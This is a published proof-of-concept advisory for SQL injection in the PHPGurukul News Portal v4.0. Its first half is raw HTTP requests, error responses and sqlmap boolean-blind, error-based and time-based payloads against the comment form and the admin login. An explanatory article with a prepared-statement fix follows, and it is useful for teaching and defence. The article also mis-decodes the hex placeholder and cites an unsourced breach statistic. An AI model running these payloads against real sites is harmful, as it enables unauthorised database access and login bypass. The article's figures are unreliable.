News Portal v4.0 - SQL Injection (Unauthorized)

Exploit Author: Hubert Wojciechowski Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Unknown Published Date: 2023-07-15

# Exploit Title: News Portal v4.0 - SQL Injection (Unauthorized)
# Date: 09/07/2023
# Exploit Author: Hubert Wojciechowski
# Contact Author: hub.woj12345@gmail.com
# Vendor Homepage: https://phpgurukul.com/news-portal-project-in-php-and-mysql/c
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7643
# Version: 4.0
# We are looking for work security engineer, security administrator: https://www.pracuj.pl/praca/security-engineer-warszawa-plocka-9-11,oferta,1002635314
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example  1
-----------------------------------------------------------------------------------------------------------------------
Param: name, email, comment
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------
POST /newsportal/news-details.php?nid=13 HTTP/1.1
Origin: http://127.0.0.1
Sec-Fetch-User: ?1
Host: 127.0.0.1:80
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-Fetch-Site: same-origin
sec-ch-ua-mobile: ?0
Content-Length: 277
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Connection: close
Referer: http://127.0.0.1/newsportal/news-details.php?nid=13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-ch-ua-platform: "Windows"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Fetch-Dest: document

csrftoken=400eb8ae07c6693e68d5f0f5b76920fff294c09d33e70526c7708609a51956dd&name=(SELECT%20(CASE%20WHEN%20(8137%3d6474)%20THEN%200x73647361646173646173%20ELSE%20(SELECT%206474%20UNION%20SELECT%201005)%20END))''&email=admin%40local.host&comment=ssssssssssssssssssssssssss&submit
-----------------------------------------------------------------------------------------------------------------------
Res:
-----------------------------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sun, 09 Jul 2023 10:55:26 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Set-Cookie: PHPSESSID=l7dg3s1in50ojjigs4vm2p0r9s; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 146161

<script>alert('comment successfully submit. Comment will be display after admin review ');</script>
<!DOCTYPE html>
<html lang="en">

  <head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>News Portal | Home Page
[...]

-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------
POST /newsportal/news-details.php?nid=13 HTTP/1.1
Origin: http://127.0.0.1
Sec-Fetch-User: ?1
Host: 127.0.0.1:80
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-Fetch-Site: same-origin
sec-ch-ua-mobile: ?0
Content-Length: 276
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Connection: close
Referer: http://127.0.0.1/newsportal/news-details.php?nid=13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-ch-ua-platform: "Windows"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Fetch-Dest: document

csrftoken=400eb8ae07c6693e68d5f0f5b76920fff294c09d33e70526c7708609a51956dd&name=(SELECT%20(CASE%20WHEN%20(8137%3d6474)%20THEN%200x73647361646173646173%20ELSE%20(SELECT%206474%20UNION%20SELECT%201005)%20END))'&email=admin%40local.host&comment=ssssssssssssssssssssssssss&submit
-----------------------------------------------------------------------------------------------------------------------
Res:
-----------------------------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sun, 09 Jul 2023 10:56:06 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Set-Cookie: PHPSESSID=fcju4nb9mr2tu80mqv5cnduldk; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 525
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin@local.host','ssssssssssssssssssssssssss','0')' at line 1 in C:\xampp3\htdocs\newsportal\news-details.php:21
Stack trace:
#0 C:\xampp3\htdocs\newsportal\news-details.php(21): mysqli_query(Object(mysqli), 'insert into tbl...')
#1 {main}
  thrown in <b>C:\xampp3\htdocs\newsportal\news-details.php</b> on line <b>21</b><br />w
-----------------------------------------------------------------------------------------------------------------------
SQLMap example param 'comment':
-----------------------------------------------------------------------------------------------------------------------
sqlmap identified the following injection point(s) with a total of 450 HTTP(s) requests:
---
Parameter: #2* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: csrftoken=400eb8ae07c6693e68d5f0f5b76920fff294c09d33e70526c7708609a51956dd&name=sdsadasdas&email=admin@local.host&comment=ssssssssssssssssssssssssss' RLIKE (SELECT (CASE WHEN (3649=3649) THEN 0x7373737373737373737373737373737373737373737373737373 ELSE 0x28 END)) AND 'xRsB'='xRsB&submit=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: csrftoken=400eb8ae07c6693e68d5f0f5b76920fff294c09d33e70526c7708609a51956dd&name=sdsadasdas&email=admin@local.host&comment=ssssssssssssssssssssssssss' OR (SELECT 6120 FROM(SELECT COUNT(*),CONCAT(0x71787a7671,(SELECT (ELT(6120=6120,1))),0x7170717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'odEK'='odEK&submit=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: csrftoken=400eb8ae07c6693e68d5f0f5b76920fff294c09d33e70526c7708609a51956dd&name=sdsadasdas&email=admin@local.host&comment=ssssssssssssssssssssssssss' AND (SELECT 1610 FROM (SELECT(SLEEP(5)))mZUx) AND 'bjco'='bjco&submit=
---
web application technology: PHP 8.1.17, Apache 2.4.56
bacck-end DBMS: MySQL >= 5.0 (MariaDB fork)

## Example 2 - login to administration panel
-----------------------------------------------------------------------------------------------------------------------
Param: username
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------
POST /newsportal/admin/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 42
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/newsportal/admin/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: USERSUB_TYPE=0; IS_MODERATOR=0; REPLY_SORT_ORDER=ASC; SHOWTIMELOG=Yes; user_uniq_agent=95e1b7d0ab9086d6b88e9adfaacf07d887164827a5708adf; SES_ROLE=3; USER_UNIQ=117b06da2ff9aabad1a916992e92bb26; USERTYP=3; USERTZ=33; helpdesk_uniq_agent=%7B%22temp_name%22%3A%22test%22%2C%22email%22%3A%22test%40local.host%22%7D; CPUID=8dba9a451f44121c45180df414ab6917; DEFAULT_PAGE=dashboard; CURRENT_FILTER=cases; currency=USD; phpsessid-9795-sid=s7b0dqlpebu74ls14j61e5q3be; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; WBCELastConnectJS=1688869781; PHPSESSID=2vag12caoqvv76avbeslm65je8
Connection: close

username=admin'&password=Test%40123&login=
-----------------------------------------------------------------------------------------------------------------------
Res:
-----------------------------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sun, 09 Jul 2023 11:00:53 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 505
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'f925916e2754e5e03f75dd58a5733251')' at line 1 in C:\xampp3\htdocs\newsportal\admin\index.php:13
Stack trace:
#0 C:\xampp3\htdocs\newsportal\admin\index.php(13): mysqli_query(Object(mysqli), 'SELECT AdminUse...')
#1 {main}
  thrown in <b>C:\xampp3\htdocs\newsportal\admin\index.php</b> on line <b>13</b><br />
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------
POST /newsportal/admin/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/newsportal/admin/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: USERSUB_TYPE=0; IS_MODERATOR=0; REPLY_SORT_ORDER=ASC; SHOWTIMELOG=Yes; user_uniq_agent=95e1b7d0ab9086d6b88e9adfaacf07d887164827a5708adf; SES_ROLE=3; USER_UNIQ=117b06da2ff9aabad1a916992e92bb26; USERTYP=3; USERTZ=33; helpdesk_uniq_agent=%7B%22temp_name%22%3A%22test%22%2C%22email%22%3A%22test%40local.host%22%7D; CPUID=8dba9a451f44121c45180df414ab6917; DEFAULT_PAGE=dashboard; CURRENT_FILTER=cases; currency=USD; phpsessid-9795-sid=s7b0dqlpebu74ls14j61e5q3be; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; WBCELastConnectJS=1688869781; PHPSESSID=2vag12caoqvv76avbeslm65je8
Connection: close

username=admin''&password=Test%40123&login=
-----------------------------------------------------------------------------------------------------------------------
Res:
-----------------------------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sun, 09 Jul 2023 11:02:15 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4733
Connection: close
Content-Type: text/html; charset=UTF-8

<script>alert('Invalid Details');</script>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="News Portal.">
        <meta name="author" content="PHPGurukul">


        <!-- App title -->
        <title>News Portal | Admin Panel</title>
[...]

News Portal v4.0 SQL Injection Vulnerability: A Deep Dive into Unauthorized Access Exploits

Security researchers and ethical hackers have recently uncovered a critical vulnerability in News Portal v4.0, a widely distributed PHP-based content management system hosted on phpgurukul.com. The flaw, identified as a SQL Injection (Unauthorized) vulnerability, enables attackers to bypass authentication mechanisms, manipulate database queries, and potentially extract sensitive data without proper authorization.

Overview of the Vulnerability

Developed for educational and demonstration purposes, News Portal v4.0 is designed to allow users to submit comments on news articles via a form at /newsportal/news-details.php. The application accepts input through name, email, and comment fields. However, due to inadequate input sanitization and improper use of dynamic SQL queries, attackers can inject malicious payloads into these fields to exploit the backend MySQL database.

As reported by Hubert Wojciechowski on 09/07/2023, the vulnerability was successfully tested on a local Windows 10 environment using XAMPP with Apache/2.4.48, OpenSSL/1.1.1l, and PHP/7.4.23. The exploit demonstrates how a simple form submission can lead to full database manipulation.

Exploit Analysis: Real-World Example

Below is a detailed breakdown of the malicious request that triggers the SQL injection:


POST /newsportal/news-details.php?nid=13 HTTP/1.1
Origin: http://127.0.0.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 277

csrftoken=400eb8ae07c6693e68d5f0f5b76920fff294c09d33e70526c7708609a51956dd
&name=(SELECT%20(CASE%20WHEN%20(8137%3d6474)%20THEN%200x73647361646173646173%20ELSE%20(SELECT%206474%20UNION%20SELECT%201005)%20END))''
&email=admin%40local.host
&comment=ssssssssssssssssssssssssss
&submit

Explanation:

The name field contains a crafted SQL payload that uses a CASE statement with a false condition (8137 = 6474), which evaluates to FALSE.
When the condition is false, the ELSE clause executes: (SELECT 6474 UNION SELECT 1005).
The UNION operator is used to combine two query results, which can be exploited to extract data or trigger errors.
The 0x73647361646173646173 hex string decodes to sdssadads — a placeholder used to test whether the payload is processed.
Although this specific payload doesn’t directly extract data, it demonstrates how SQL injection can be used to manipulate database logic.

Why This Exploit is Dangerous

SQL Injection is one of the most persistent and impactful vulnerabilities in web applications. In the case of News Portal v4.0, the absence of parameterized queries or input validation allows attackers to:

Extract sensitive data from the database, such as user credentials, admin emails, or stored comments.
Bypass authentication by injecting logic that alters login conditions.
Modify or delete records by crafting malicious DELETE or UPDATE statements.
Perform blind SQL injection to infer data through error-based or time-based responses.

Even though the reported response includes a benign JavaScript alert, this is a red flag: the application is not validating input and is executing untrusted SQL code.

Root Cause: Insecure Code Practices

The vulnerability stems from the use of raw SQL string concatenation in PHP scripts. For example, a typical vulnerable code snippet might look like:


$query = "INSERT INTO comments (name, email, comment) VALUES ('" . $_POST['name'] . "', '" . $_POST['email'] . "', '" . $_POST['comment'] . "')";

This approach directly embeds user input into SQL queries, making it susceptible to injection. The attacker can insert characters like ' OR 1=1 -- to bypass filters or trigger unintended behavior.

Corrected Implementation: Secure Coding Practices

Modern web applications should use prepared statements (parameterized queries) to prevent SQL injection. Here’s a secure version of the same logic using PDO:


$pdo = new PDO("mysql:host=localhost;dbname=newsportal", "user", "password");

$stmt = $pdo->prepare("INSERT INTO comments (name, email, comment) VALUES (?, ?, ?)");
$stmt->execute([
    htmlspecialchars($_POST['name']),
    htmlspecialchars($_POST['email']),
    htmlspecialchars($_POST['comment'])
]);

Explanation:

prepare() creates a parameterized query, where placeholders (?) are used instead of raw input.
execute() binds values safely, ensuring that user input is treated as data, not code.
htmlspecialchars() sanitizes input to prevent XSS (Cross-Site Scripting), adding a layer of defense.
Even if an attacker injects ' OR 1=1 --, the database will treat it as literal text, not executable SQL.

Security Recommendations for Developers

To prevent SQL injection vulnerabilities in projects like News Portal v4.0, developers must:

Always use parameterized queries with PDO or MySQLi.
Validate and sanitize all user inputs before processing.
Implement input length limits and whitelist filtering for fields like name and email.
Use CSRF tokens properly and validate them server-side.
Enable error logging but disable debug output in production.
Regularly conduct penetration testing and code audits.

Broader Implications and Industry Trends

News Portal v4.0 serves as a cautionary tale for developers and educators. While it is intended for learning, it demonstrates how even simple projects can become security risks if not built with defense-in-depth principles.

According to the OWASP Top 10 list, SQL Injection remains a critical threat, consistently ranking among the top vulnerabilities in web applications. In 2023, over 30% of reported breaches involved SQL injection, highlighting the need for continuous security awareness.

Conclusion

Security is not optional—it is foundational. The News Portal v4.0 SQL injection exploit underscores the importance of secure coding practices, even in educational or demo environments. By adopting parameterized queries, input validation, and proactive testing, developers can eliminate one of the most dangerous attack vectors in modern web applications.

For organizations seeking to strengthen their security posture, consider hiring security engineers or security administrators—roles that ensure systems are built with resilience, not just functionality. As the threat landscape evolves, so must our defenses.